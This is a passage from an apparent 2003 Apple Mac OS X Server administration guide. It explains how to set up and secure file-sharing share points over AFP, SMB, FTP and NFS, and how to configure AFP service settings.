Friday, August 22, 2003 2:38 PM 14 Chapter 1 About File Services Security Considerations Security of your data and your network is critical. The most effective method of securing your network is to assign appropriate privileges for each file, folder, and share point as you create it. Be careful when creating and granting access to share points, especially if you’re connected to the Internet. Granting access to Everyone, or to World (in NFS service), could potentially expose your data to anyone on the Internet. NFS share points don’t have the same level of security as AFP and SMB, which require user authentication (typing a user name and password) to gain access to a share point’s contents. If you have NFS clients, you may want to set up a share point to be used only by NFS users. Restricting Access for Unregistered Users (Guests) When you configure any file service, you have the option of turning on guest access. Guests are users who can connect to the server anonymously without entering a valid user name or password. Users who connect anonymously are restricted to files and folders with privileges set to Everyone. To protect your information from unauthorized access, and to prevent people from introducing software that might damage your information or equipment, you can take these precautions using the Sharing module of Workgroup Manager: • Share individual folders instead of entire volumes. The folders should contain only those items you want to share. • Set privileges for Everyone to None for files and folders that guest users shouldn’t access. Items with this privilege setting can be accessed only by the item’s owner or group. • Put all files available to guests in one folder or set of folders. Assign the Read Only privilege to the Everyone category for that folder and each file within it. • Assign Read & Write privileges to the Everyone category for a folder only if guests must be able to change or add items in the folder. Make sure you keep a backup copy of information in this folder. • Check folders frequently for changes and additions and use a virus-protection program regularly to check the server for viruses. • Disable anonymous FTP access using the FTP service settings in Server Admin. • Don’t export NFS volumes to World. Restrict NFS exports to a subnet or a specific list of computers. LL2346.Book Page 14 Friday, August 22, 2003 2:38 PM Chapter 1 About File Services 15 For More Information About File Services For more information about the protocols used by file services, see these resources: • Apple Filing Protocol (AFP) www.apple.com/developer/ • Server Message Block (SMB) protocol (for Windows file services) www.samba.org • FTP You can find a Request for Comments (RFC) document about FTP at www.faqs.org/rfcs/rfc959.html. To obtain the UNIX manual pages for FTP, open the Terminal application in Mac OS X. At the prompt, type man ftp and press Return. • NFS Search the Web for “Network File System” RFC documents provide an overview of a protocol or service that can be helpful for novice administrators, as well as more detailed technical information for experts. You can search for RFC documents by number at this website: www.faqs.org/rfcs. LL2346.Book Page 15 Friday, August 22, 2003 2:38 PM LL2346.Book Page 16 Friday, August 22, 2003 2:38 PM 2 17 2 Setting Up Share Points This chapter shows how to share specific volumes and directories via the AFP, SMB, FTP, and NFS protocols. Overview You use the Sharing module of Workgroup Manager to share information with clients of the Mac OS X Server and control access to shared information by assigning access privileges. To share individual folders or entire volumes that reside on the server, you set up share points. A share point is a folder, hard disk, hard disk partition, CD, or DVD that you make accessible over the network. It’s the point of access at the top level of a hierarchy of shared items. Users with privileges to access share points see them as volumes mounted on their desktops or in their Finder windows. Before You Begin Consider the following topics before you set up a share point. Consider the Privileges Your Clients Need Before you set up a share point, you need to understand how privileges for shared items work. Consider which users need access to shared items and what type of privileges you want those users to have. Privileges are described in Chapter 1 (see “Privileges” on page 10). LL2346.Book Page 17 Friday, August 22, 2003 2:38 PM 18 Chapter 2 Setting Up Share Points Decide on Which Protocols to Use You also need to know which protocols clients will use to access the share points. In general, you will want to set up unique share points for each type of client and share each using a single protocol: • Mac OS clients—Apple Filing Protocol (AFP) • Windows clients—Server Message Block (SMB) • UNIX clients—Network File System (NFS) • FTP clients—File Transfer Protocol (FTP) In some cases you might want to share an item using more than one protocol. For example, Mac OS and Windows users might want to share graphics or word processing files that can be used on either platform. In a case such as this, you can create a single share point that supports users of both platforms. Conversely, you might want to set up share points using a single protocol even though you have different kinds of clients. For example, if most of your clients are UNIX users and just a few are Mac OS clients, you may want to share items using only NFS to keep your setup simple. Keep in mind, however, that NFS doesn’t provide many AFP features that Mac OS users are accustomed to, such as performance optimization or quick file searching. Organize Your Shared Information Once you have created share points, users will start to form “mental maps” of the organization of the share points and the items they contain. Changing share points and moving information around can cause confusion. If you can, organize shared information before you set up the share points. This is especially important if you’re setting up network home directories. For Your Windows Users If you share applications or documents that are exclusively for Windows users, you can set up an SMB share point to be used only by them. This provides a single point of access for your Windows users and lets them take advantage of both opportunistic and strict file locking. LL2346.Book Page 18 Friday, August 22, 2003 2:38 PM Chapter 2 Setting Up Share Points 19 Opportunistic Locking (oplocks) SMB share points in Mac OS X Server support the improved performance offered by opportunistic locking (“oplocks”). In general, file locking prevents multiple clients from modifying the same information at the same time; a client locks the file or part of the file to gain exclusive access. Opportunistic locking grants this exclusive access but also allows the client to cache its changes locally (on the client computer) for improved performance. To enable oplocks, you change the Windows protocol settings for a share point using Workgroup Manager. Important: Do not enable oplocks for a share point that’s using any protocol other than SMB. Strict Locking It’s normally the responsibility of a client application to see if a file is locked before it tries to open it. A poorly written application may fail to check for locks, and could corrupt a file already being used by someone else. Strict locking, which is enabled by default, helps prevent this. When strict locking is enabled, the SMB server itself checks for and enforces file locks. Consider Security Review the issues discussed in “Security Considerations” on page 14. Share Points for Network Home Directories If you’re setting up a share point on your server to store user home directories, keep these points in mind: • There’s a share point named Users already set up when you install Mac OS X Server that you can use for home directories. • Make sure you set the Network Mount settings for the share point to indicate that it’s used for user home directories. • Make sure you create the share point in the same Open Directory domain as your user accounts. Disk Quotas You can limit the disk space a user’s home directory can occupy by setting a quota on the Home pane of the user’s account settings in Workgroup Manager. To set space quotas for other share points, you must use the command line. See the file services chapter of the command-line administration guide. LL2346.Book Page 19 Friday, August 22, 2003 2:38 PM 20 Chapter 2 Setting Up Share Points Setup Overview You use the Sharing module of Workgroup Manager to create share points and set privileges for them. Here is an overview of the basic steps for setting up share points: Step 1: Read “Before You Begin” Read “Before You Begin” on page 17 for issues you should consider before sharing information on your network. Step 2: Locate or create the information you want to share Decide which volumes, partitions, or folders you want to share. You may want to move folders and files to different locations before setting up the share point. You may want to partition a disk into volumes so you can give each volume different access privileges or create folders that will have different levels of access. See “Organize Your Shared Information” on page 18. Step 3: Set up share points and set privileges When you designate an item to be a share point, you set its privileges at the same time. You create share points and set privileges in the Sharing module of Workgroup Manager. See “Setting Up a Share Point” on page 21. Step 4: Turn specific file services on For users to access share points, you must turn on the required Mac OS X Server file services. For example, if you use Apple File Protocol with your share point, you must turn on AFP service. You can share an item using more than one protocol. See Chapter 3, “AFP Service,” on page 37, Chapter 4, “Windows Service,” on page 55, Chapter 5, “NFS Service,” on page 69, or Chapter 6, “FTP Service,” on page 75. LL2346.Book Page 20 Friday, August 22, 2003 2:38 PM Chapter 2 Setting Up Share Points 21 Setting Up a Share Point This section describes: • How to create share points • How to set share point access privileges • How to share using specific protocols (AFP, SMB, FTP, or NFS) • How to automatically mount share points on clients’ desktops You use Workgroup Manager to accomplish these tasks. See “Managing Share Points” on page 30 for additional tasks that you might perform after you have set up sharing on your server. LL2346.Book Page 21 Friday, August 22, 2003 2:38 PM 22 Chapter 2 Setting Up Share Points Creating a Share Point and Setting Privileges You use the Sharing module of Workgroup Manager to share volumes (including disks, CDs and DVDs), partitions, and individual folders by setting up share points. Note: Don’t use a slash (/) in the name of a folder or volume you plan to share. Users trying to access the share point might have trouble seeing it. To create a share point and set privileges: 1 Open Workgroup Manager and click Sharing. 2 Click All and select the item you want to share. 3 Click General. 4 Select “Share this item and its contents.” 5 To control who has access to the share point, change the owner or group of the shared item. Type names or drag names from the Users & Groups drawer. To open the drawer, click Users & Groups. If you don’t see a recently created user or group, click Refresh. To change the autorefresh interval, choose Workgroup Manager > Preferences. 6 Use the pop-up menus next to the fields to change the privileges for the Owner, Group, and Everyone. Everyone is any user who can log in to the file server: registered users and guests. 7 (Optional) To apply the ownership and privileges of the share point to all files and folders it contains, click Copy. This overrides privileges that other users may have set. 8 Click Save. The new share point is shared using the AFP, SMB, and FTP protocols, but not NFS. To change protocol settings, stop sharing via a particular protocol, or export the share point using NFS, click Protocol and choose the protocol from the pop-up menu. Settings specific to each protocol are described in the following sections. From the Command Line You can also set up a share point using the sharing command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 22 Friday, August 22, 2003 2:38 PM Chapter 2 Setting Up Share Points 23 Changing Apple File Settings for a Share Point You can use Workgroup Manager to choose whether a share point is available via AFP and to change settings such as the share point name that AFP clients see, whether guest access is allowed, or the permissions model for new items. The default settings for a new share point should make it readily accessible to Mac OS 8, Mac OS 9, and Mac OS X clients. To change the settings of an AFP share point: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point. 3 Click Protocols and choose Apple File Settings from the pop-up menu. 4 To provide AFP access to the share point, select “Share this item using AFP.” 5 To allow unregistered users to access the share point, select “Allow AFP guest access.” For greater security, do not select this item. 6 To change the name that clients see when they browse for and connect to the share point using AFP, type a name in the “Custom AFP name” field. Changing the custom AFP name does not affect the name of the share point itself, only the name that AFP clients see. 7 Choose a default permissions option for new files and folders. To have new or copied items keep their original privileges while inheriting the user and group ID of the user who creates or copies them, select “Use Standard UNIX behavior.” To have new or copied items adopt the privileges of the enclosing folder, select “Inherit permissions from parent.” Note: Do not select the “Inherit permissions” option for share points that contain home directories. 8 Click Save. From the Command Line You can also change AFP settings for a share point using the sharing command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 23 Friday, August 22, 2003 2:38 PM 24 Chapter 2 Setting Up Share Points Changing Windows (SMB) Settings for a Share Point You can use Workgroup Manager to set whether a share point is available via SMB and to change settings such as the share point name that SMB clients see, whether guest access is allowed, whether opportunistic locking is allowed, and the default privileges for new items. To change the settings of an SMB share point: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point. 3 Click Protocols (on the right) and choose Windows File Settings from the pop-up menu. 4 To provide SMB access to the share point, select “Share this item using SMB.” 5 To allow unregistered users access to the share point, select “Allow SMB guest access.” For greater security, don’t select this item. 6 To change the name that clients see when they browse for and connect to the share point using SMB, type a new name in the “Custom SMB name” field. Changing the custom SMB name doesn’t affect the name of the share point itself, only the name that SMB clients see. 7 To allow clients to use opportunistic file locking, select “Enable oplock.” To have clients use standard locks on server files, select “Enable strict locking.” For more information on oplocks, see “Opportunistic Locking (oplocks)” on page 19. 8 Choose a method for assigning default access privileges for new files and folders in the share point. To have new items adopt the privileges of the enclosing item, select “Inherit permissions from parent.” To assign specific privileges, select “Assign as follows” and set the Owner, Group, and Everyone privileges using the pop-up menus. 9 Click Save. From the Command Line You can also change a share point’s SMB settings using the sharing command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 24 Friday, August 22, 2003 2:38 PM Chapter 2 Setting Up Share Points 25 Changing FTP Settings for a Share Point You can use Workgroup Manager to set whether a share point is available via FTP and to change settings such as whether guest access is allowed and the share point name that FTP clients see. To change the settings of an FTP share point: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point. 3 Click Protocols and choose FTP Settings from the pop-up menu. 4 To make the share point available to FTP clients, select “Share this item using FTP.” 5 Select “Allow FTP guest access” to allow anonymous FTP users to open this item. For greater security, don’t select this item. 6 To change the name clients see when they browse for and connect to the share point using FTP, type a new name in the “Custom FTP name” field. Changing the custom FTP name doesn’t affect the name of the share point itself, only the name that FTP clients use. 7 Click Save. From the Command Line You can also change a share point’s FTP settings using the sharing command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 25 Friday, August 22, 2003 2:38 PM 26 Chapter 2 Setting Up Share Points Setting Up an NFS Share Point You can use NFS to export share points to UNIX clients. (Export is the NFS term for sharing.) Note: Don’t use spaces or slashes (/) in the name of a share point you plan to export using NFS. Spaces and slashes in volume names can cause access problems for NFS clients. If you must use spaces in the name of an NFS share point, use Netinfo Manager to “escape” the spaces in the export record in NetInfo (that is, precede the spaces with a backslash “\”). For example, you would have to change “/folder1/folder two” to “/folder1/folder\ two”. To configure an NFS share point: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point. 3 Click Protocols and choose NFS Export Settings from the pop-up menu. 4 Select “Export this item and its contents to” and choose an audience from the pop-up menu. To limit clients to specific computers, choose “Client” and click Add to specify the IP addresses of computers that can access the share point. To limit clients to the entire subnet, choose “Subnet” and type the IP address and subnet mask for the subnet. Important: Make sure that the subnet address you enter is the actual IP network address that corresponds to the subnet mask you chose (not just one of the client addresses). Otherwise, your clients will be unable to access the share point. A network calculator can help you select the subnet address and mask for the range of client addresses you want to serve, and you should use one to validate your final address/mask combination. Calculators are available on the Web; use Sherlock or Google to search for “subnet calculator.” For example, suppose you want to export to clients that have IP addresses in the range 192.168.100.50 through 192.168.100.120. Using a subnet calculator, you can discover that the mask 255.255.255.128 applied to any address in this range defines a subnet with network address 192.168.100.0 and a range of usable IP addresses from 192.168.100.1 through 192.168.100.126, which includes the desired client addresses. So, in Workgroup Manager you enter subnet address 192.168.100.0 and subnet mask 255.255.255.128 in the NFS Export Settings for the share point. To allow unlimited (and unauthenticated) access to the share point, choose “World.” Note: If you export more than one NFS share point to “World,” only the last export is available to clients. Don’t create more than one NFS world export on a single server volume. LL2346.Book Page 26 Friday, August 22, 2003 2:38 PM Chapter 2 Setting Up Share Points 27 5 Select “Map Root user to nobody” if you want the root user on a remote client to have only minimal privileges to read, write, and execute commands. 6 Select “Map All users to nobody” if you want all users to have minimal privileges to read, write, and execute. 7 Select “Read-only” if you don’t want client users to be able to modify the contents of the shared item in any way. 8 Click Save. File and file range locking (standard POSIX advisory locks) are enabled by default for NFS share points in Mac OS X Server. From the Command Line You can also set up an NFS share point by using the niutil command in Terminal to add an entry to the NetInfo /exports directory. For more information, see the file services chapter of the command-line administration guide. Resharing NFS Mounts as AFP Share Points Resharing NFS mounts (NFS volumes that have been exported to the Mac OS X Server) as AFP share points allows clients to access NFS volumes using the secure authentication of an AFP connection. Resharing NFS mounts also allows Mac OS 9 clients to access NFS file services on traditional UNIX networks. Note: Quotas set on the original NFS export are not enforced on the AFP reshare. To reshare an NFS mount as an AFP share point: 1 On the NFS server that’s exporting the original share, make sure the NFS export maps root-to-root so that AFP (which runs as root) can access the files for the clients. Restrict the export to the single AFP server (seen as the client to the NFS server). For even greater security, you can set up a private network for the AFP-to-NFS connection. 2 On the AFP server, create a directory named nfs_reshares at the root level of the file system. Log in to Terminal as admin and use the command: sudo mkdir /nfs_reshares The nfs_reshares directory will work with default permissions, but at a minimum must allow read/write for root so that the exports can be mounted there and accessed by the AFP server. 3 Create a subdirectory in the /nfs_reshares directory for each NFS volume you want to reshare. In Terminal, while logged in as admin, use the command: sudo mkdir /nfs_reshares/<local mount name> Replace <local mount name> with the name of the volume as you want it to appear to AFP clients. LL2346.Book Page 27 Friday, August 22, 2003 2:38 PM 28 Chapter 2 Setting Up Share Points 4 On the AFP server, create a mount record that mounts the reshared volume in the /nfs_reshares directory. a Open NetInfo Manager, select mounts in the directory browser window, click the lock at the lower left corner of the window and enter your administrator password. Note: To authenticate in NetInfo Manager, you must use an administrator account with a basic password. NetInfo Manager can’t authenticate an administrator account that uses Password Server. b Select New Subdirectory from the Directory menu. The new mount record is named new_directory. Edit the name property and add two new properties following this format: name: <nfsservername>:<nfs export path> vfstype: nfs dir: /nfs_reshares/<local mount name> For example, a mount record to reshare as “myshare” an NFS volume located on a server named “server” at the path /test/lab1 would have the following properties: name: server:/test/lab1 vfstype: nfs dir: /nfs_reshares/myshare c Click the lock when finished. In the Confirm Changes dialog, click “Update this copy” to save your changes. 5 Restart the computer to enable the mount. You can also manually mount the NFS volume in Terminal with the following command: sudo mount_nfs <nfsservername>:<nfs export path> /nfs_reshares/<local mount name> 6 Use the Sharing module in Workgroup Manager to share the NFS mounts as AFP share points. The NFS mounts appear as normal volumes in the All list. (You can also share the NFS mounts using SMB and FTP, but it’s recommended that you use only AFP.) You can change privileges and ownership, but not enable quotas (quotas work only on local volumes). However, if quotas are enabled on the NFS server, they should apply to the reshared volume as well. LL2346.Book Page 28 Friday, August 22, 2003 2:38 PM Chapter 2 Setting Up Share Points 29 Automatically Mounting Share Points for Clients You can mount share points automatically on client computers using network mounts. You can automatically mount AFP or NFS share points. When you set a share point to automatically mount, a mount record is created in the Open Directory database. Be sure you create these records in the same shared domain in which the user and computer records exist. Note: All users have guest access to network-mounted AFP share points. Authenticated access is only allowed for a user’s own home directory or if you have Kerberos set up to support single signon. To set up a network mount: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point. 3 Click Network Mount (on the right). 4 Choose the directory domain that contains your users and computers from the Where pop-up menu. If the correct directory is already chosen, click the lock to authenticate. 5 Choose the sharing protocol (AFP or NFS) from the Protocol pop-up menu. 6 Choose how you want the share point to be used and mounted on client computers. User Home Directories: the home directories on the share point are listed on a user’s computer in /Network/Servers (in Servers inside the Network globe in the Finder). Note: Share points used for home directories should be named using only US ASCII characters. Don’t use multibyte encoding or accented characters. Shared Applications: the share point appears on the user’s computer in /Network/Applications (in Applications inside the Network globe in the Finder). Shared Library: the share point appears in /Network/Library (in Library inside the Network globe in the Finder). “Custom mount path”: the share point appears in the directory you specify. You must make sure that this directory exists on the client computer before the share point can be mounted. 7 Click Save. LL2346.Book Page 29 Friday, August 22, 2003 2:38 PM 30 Chapter 2 Setting Up Share Points Managing Share Points This section describes typical day-to-day tasks you might perform after you have set up share points on your server. Initial setup information appears in “Setting Up a Share Point” on page 21. Disabling a Share Point To stop sharing a particular share point, you use the Sharing module of Workgroup Manager to remove it from the Share Points list. You may want to notify users that you are removing a share point so that they know why the share point is no longer available. To remove a share point: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point you want to remove. 3 Click General and deselect “Share this item and its contents.” Protocol and network mount settings you have made for the item are discarded. From the Command Line You can also disable a share point by using the sharing command in Terminal. For more information, see the file services chapter of the command-line administration guide. Disabling a Protocol for a Share Point You can use the Sharing module of Workgroup Manager to stop sharing a share point using a particular protocol and still allow sharing to continue via other protocols. To stop sharing via a particular protocol: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point you want to remove. 3 Click Protocols and choose settings for the protocol from the pop-up menu. 4 Deselect “Share this item using...” You can disable a protocol for all share points by stopping the underlying service that provides support for the protocol. For help, see “Stopping Apple File Service” on page 45, “Stopping Windows Services” on page 61, “Starting and Stopping NFS Service” on page 73, or “Stopping FTP Service” on page 86. From the Command Line You can also disable a protocol for a share point by using the sharing command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 30 Friday, August 22, 2003 2:38 PM Chapter 2 Setting Up Share Points 31 Viewing Share Points You can use the Sharing module of Workgroup Manager to view share points and their contents. To view share points on a server: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points. Select an item in the list to see its contents. Use the scroll bar at the bottom to move up or down in the directory hierarchy. From the Command Line You can also view share points and their contents by using the sharing and ls commands in Terminal. For more information, see the file services chapter of the command-line administration guide. Copying Privileges to Enclosed Items When you set the privileges for a share point, volume, or folder, you can copy the ownership and privileges to all the items it contains. To copy privileges: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points or All, then select the item whose privileges you want to propagate. 3 Click Copy in the General pane. Viewing Share Point Settings You can use Workgroup Manager to view the sharing and privilege settings for a share point. To view sharing and privileges for a share point: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point you want to view. 3 Click General to see the privilege settings for the share point. 4 Click Protocols and use the pop-up menu to see the protocol settings for the item. 5 Click Network Mount to see the automatic mount settings. From the Command Line You can also view share point settings using the sharing command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 31 Friday, August 22, 2003 2:38 PM 32 Chapter 2 Setting Up Share Points Changing Share Point Owner and Privilege Settings You use the Workgroup Manager to view and change the owner and privileges for a share point. To change privileges for a share point: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point you want to update. 3 Click General. Change the owner and group of the shared item by typing names into those fields or by dragging names from the Users & Groups drawer. You can open the drawer by clicking “Users & Groups.” Use the pop-up menus next to the fields to change the privileges for the Owner, Group, and Everyone. Everyone is any user who can log in to the file server: registered users and guests. From the Command Line You can also change a share point’s owner and privileges using the chmod, chgrp, and chown commands in Terminal. For more information, see the file services chapter of the command-line administration guide. Changing the Protocols Used by a Share Point You can use the Protocols pane of Workgroup Manager to change the protocols available for accessing a share point. To change the protocols for a share point: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point you want to change. 3 Click Protocols. 4 Use the pop-up menu to choose the protocols you want to change. See the following sections for descriptions of the protocol settings: • “Changing Apple File Settings for a Share Point” on page 23 • “Changing Windows (SMB) Settings for a Share Point” on page 24 • “Changing FTP Settings for a Share Point” on page 25 • “Setting Up an NFS Share Point” on page 26 From the Command Line You can also change a share point’s protocol settings using the sharing command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 32 Friday, August 22, 2003 2:38 PM Chapter 2 Setting Up Share Points 33 Changing NFS Share Point Client Scope You can use the Protocols pane of Workgroup Manager to restrict the clients that can access an NFS export. To change authorized NFS clients: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the NFS share point. 3 Click Protocols and choose NFS Export Settings from the pop-up menu. 4 To limit clients to specific computers, choose Client and click Add to specify the IP addresses of computers that can access the share point. To remove a client, select an address and click Remove. To limit clients to the entire subnet, choose Subnet and type the IP address and subnet mask for the subnet. To allow unlimited (and unauthenticated) access to the share point, choose World. 5 Click Save. Allowing Guest Access to a Share Point You can use Workgroup Manager to allow guest users (users not defined in the directories used by your server) to connect to specific share points. To change guest access privileges for a share point: 1 Open Workgroup Manager and click Sharing. 2 Click Share Points and select the share point. 3 Click Protocols and use the pop-up menu to choose the protocol you’re using to provide access to the share point. 4 Select the “Allow guest access” option. 5 Click Save. From the Command Line You can also enable guest access to a share point using the sharing command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 33 Friday, August 22, 2003 2:38 PM 34 Chapter 2 Setting Up Share Points Setting Up a Drop Box A drop box is a shared folder with permissions set so that anyone can copy files into the folder, but only the owner can read them. Note: Create drop boxes only within AFP share points. AFP is the only protocol that automatically changes the owner of any file put into the drop box to be the same as the owner of the drop box. For other protocols, the ownership of the file is not transferred even though the original owner may not have access to the file once it’s inside the drop box. To create a drop box: 1 Create the folder that will act as a drop box within an AFP share point. 2 Open Workgroup Manager and click Sharing. 3 Click Share Points and select the folder in the AFP share point that you want to use as a drop box. 4 Click General. 5 Set Write Only privileges for users who can copy items into the drop box. To create a drop box for a select group of users, enter the group name (or drag the group from the Users & Groups drawer) and choose Write Only privileges from the Group pop-up menu. To create a drop box anyone can put things in, choose Write Only privileges from the Everyone pop-up menu. (For greater security, do not allow access to everyone—assign None for the Everyone privileges.) 6 Click Save. From the Command Line You can also set up a drop box using the mkdir and chmod commands in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 34 Friday, August 22, 2003 2:38 PM Chapter 2 Setting Up Share Points 35 Using Workgroup Manager With Mac OS X Server Version 10.1.5 Workgroup Manager is available only on Mac OS X Server version 10.2 or later. If you want to use Workgroup Manager to edit account information on a Mac OS X Server version 10.1.5, you must access that server remotely from a computer running Mac OS X Server version 10.2 and log in as a root user. To log in to a remote server as a root user with Workgroup Manager: 1 In Workgroup Manager, choose the shared domain of interest from the domain pop-up list below the toolbar. Alternatively, you can choose View Directories from the Server menu. 2 Use a root user name and password to log in. If you are not logged in as a root user, you can’t make changes using Workgroup Manager. If possible, you should upgrade servers on your network to use Mac OS X Server version 10.2 or later. LL2346.Book Page 35 Friday, August 22, 2003 2:38 PM LL2346.Book Page 36 Friday, August 22, 2003 2:38 PM 3 37 3 AFP Service This chapter shows how to set up and manage AFP service in Mac OS X Server. General Information AFP (Apple Filing Protocol) service allows Macintosh clients to connect to your server and access folders and files as if they were located on their own computers. AFP service uses version 3.1 of AFP, which supports new features such as Unicode file names and 64-bit file sizes. Unicode is a standard that assigns a unique number to every character regardless of language or the operating system used to display the language. Kerberos Authentication Apple file service supports Kerberos authentication. Kerberos is a network authentication protocol developed at MIT to provide secure authentication and communication over open networks. In addition to the standard authentication method, Mac OS X Server utilizes Generic Security Services Application Programming Interface (GSSAPI) authentication protocol to support Kerberos v.5. You specify the authentication method using the Access pane of AFP service settings. See “Changing Access Settings” on page 41. For more information on setting up Kerberos, see the Open Directory administration guide. LL2346.Book Page 37 Friday, August 22, 2003 2:38 PM 38 Chapter 3 AFP Service Automatic Reconnect Mac OS X Server provides the ability to automatically reconnect Mac OS X clients that have become idle or gone to sleep. When clients become idle or go to sleep, the Mac OS X Server disconnects those clients to free up server resources. Mac OS X Server can save Mac OS X client sessions, however, allowing these clients to resume work on open files without loss of data. You configure this setting in the Idle Users pane of the AFP service configuration window. See “Changing Idle User Settings” on page 43. Find By Content Mac OS X clients can use Sherlock to search the contents of AFP servers. This feature enforces privileges so that only files to which the user has access are searched. AppleTalk Support One difference in the new Apple file service is that AppleTalk is no longer supported as a client connection method. Mac OS X Server advertises its services over AppleTalk so clients using AppleTalk can see servers in the Chooser, but they’ll need to connect to the server using TCP/IP. See “Mac OS X Clients” on page 51 and “Mac OS 8 and Mac OS 9 Clients” on page 53. Apple File Service Specifications • Maximum number of connected users, depending on your license agreement: Unlimited (hardware dependent) • Maximum volume size: 2 terabytes • TCP port number: 548 • Log file location: /Library/Logs in the AppleFileService folder • Rendezvous registration type: afpserver LL2346.Book Page 38 Friday, August 22, 2003 2:38 PM Chapter 3 AFP Service 39 Setting Up AFP Service If you allowed the Server Assistant to start AFP service when you installed Mac OS X Server, you don’t have to do anything else. However, you should check to see if the default service settings meet your needs. The following section steps you through each of the Apple file service settings. You set up Apple file service by configuring four groups of settings on the Settings pane for AFP service in Server Admin: • General Set information that identifies your server, enable automatic startup, and create a login message for Apple file service • Access Set up client connections and guest access • Logging Configure and manage logs for Apple file service • Idle Users Configure and administer idle user settings The following sections describe the tasks for configuring these settings. A fifth section tells you how to start up Apple file service after you’ve completed its configuration. LL2346.Book Page 39 Friday, August 22, 2003 2:38 PM 40 Chapter 3 AFP Service Changing General Settings You use the General pane of AFP service settings to enable automatic startup, enable browsing with Network Service Location or AppleTalk, and create a login greeting for your users. To configure AFP service General settings: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings, then click General. 3 To advertise the AFP share point using both Network Service Location (NSL) and Rendezvous, select “Enable Rendezvous registration.” This option lets clients browse for the share point using the Mac OS X “Connect to Server” command or the Mac OS 9 Network Browser. For NSL registration to work, you must also enable IP multicasting on your network routers. See the network services administration guide for more information about Service Location Protocol (SLP) and IP multicasting. 4 To allow Mac OS 8 and Mac OS 9 clients to find your file server using the Chooser, select “Enable browsing with AppleTalk.” For Chooser browsing to work, AppleTalk must be enabled on both the client computer and the server. Clients can then see the server in the Chooser, but will need to connect using TCP/IP. 5 If you have Mac OS 8 and Mac OS 9 clients with special language needs, choose the appropriate character set from the “Encoding for older clients” pop-up menu. When Mac OS 9 and earlier clients are connected, the server converts file names from the system’s UTF-8 to the chosen set. This has no effect on Mac OS X client users. 6 In the Logon Greeting field, type the message you want users to see when they connect. Note: The message does not appear when a user logs in to his or her home directory. 7 To prevent users from seeing the greeting repeatedly, select “Do not send same greeting twice to the same user.” 8 Click Save. From the Command Line You can also change the AFP service settings using the serveradmin command in Terminal or by modifying the AFP preferences file. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 40 Friday, August 22, 2003 2:38 PM Chapter 3 AFP Service 41 Changing Access Settings The Access pane of AFP Settings in Server Admin lets you control client connections and guest access. To configure AFP service Access settings: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings, then click Access. 3 Choose the authentication method you want to use: Standard, Kerberos, or Any Method. 4 To allow unregistered users to access AFP share points, select “Enable Guest access.” Guest access is a convenient way to provide occasional users with access to files and other items, but for better security, do not select this option. Note: After you allow guest access for Apple file service in general, you can still selectively enable or disable guest access for individual share points. 5 To allow clients to connect using secure AFP (using SSH), select “Enable secure connections.” 6 To allow an administrator to log in using a user’s name with an administrator password (and thereby experience the AFP service as the user would), select “Enable administrator to masquerade as any registered user.” 7 To restrict the number of simultaneous client connections, click next to the number field for clients or guests and type a number. The maximum number of simultaneous users is limited by the type of license you have. For example, if you have a 10-user license, then a maximum of 10 users can connect at one time. The maximum number of guests cannot exceed the maximum number of total client connections allowed. 8 Click Save. From the Command Line You can also change the AFP access settings using the serveradmin command in Terminal or by modifying the AFP preferences file. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 41 Friday, August 22, 2003 2:38 PM 42 Chapter 3 AFP Service Changing Logging Settings You use the Logging pane of the Apple File Service settings in Server Admin to configure and manage service logs. To configure Apple file service Logging settings: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings, then click Logging. 3 To keep a record of users who connect to the server using AFP, select “Enable Access log.” 4 To periodically close and save the active log and open a new one, select “Archive every __ days” and type the number of days after which the log is archived. 5 Select the events that you want Apple file service to log. An entry is added to the log each time a user performs one of the actions you select. Consider available disk space when you choose the number of events to log. The more events you choose, the larger the log file. 6 To specify how often the error log file contents are saved to an archive, select “Error Log: Archive every __ days” and type the number of days. 7 Click Save. The server closes the active log at the end of each archive period, renames it to include the current date, and then opens a new log file. You can keep the archived logs for your records or delete them to free disk space when they’re no longer needed. The default setting is 7 days. Log files are stored in /Library/Logs/AppleFileService. You can use the log rolling scripts supplied with Mac OS X Server to reclaim disk space used by log files. From the Command Line You can also change the AFP service logging settings using the serveradmin command in Terminal or by modifying the AFP preferences file. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 42 Friday, August 22, 2003 2:38 PM Chapter 3 AFP Service 43 Changing Idle User Settings You use the Idle Users pane of Apple File Service settings to specify how your server handles idle users. An idle user is someone who is connected to the server but whose connection has been inactive a predefined period of time. If a client is idle or asleep for longer than the specified idle time, open files are closed, they are disconnected, and any unsaved work is lost. To configure idle user settings: 1 Open Server Admin and select AFP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Idle Users. 3 To allow client computers to reconnect after sleeping for a certain time, select “Allow clients to sleep __ hour(s)—will not show as idle” and type the number of hours clients can sleep and still automatically reconnect to the server. Although the server disconnects sleeping clients, their sessions are maintained for the specified period. If they resume work within that time, they are reconnected with no apparent interruption. 4 To specify the idle time limit, select “Disconnect idle users after __ minutes” and 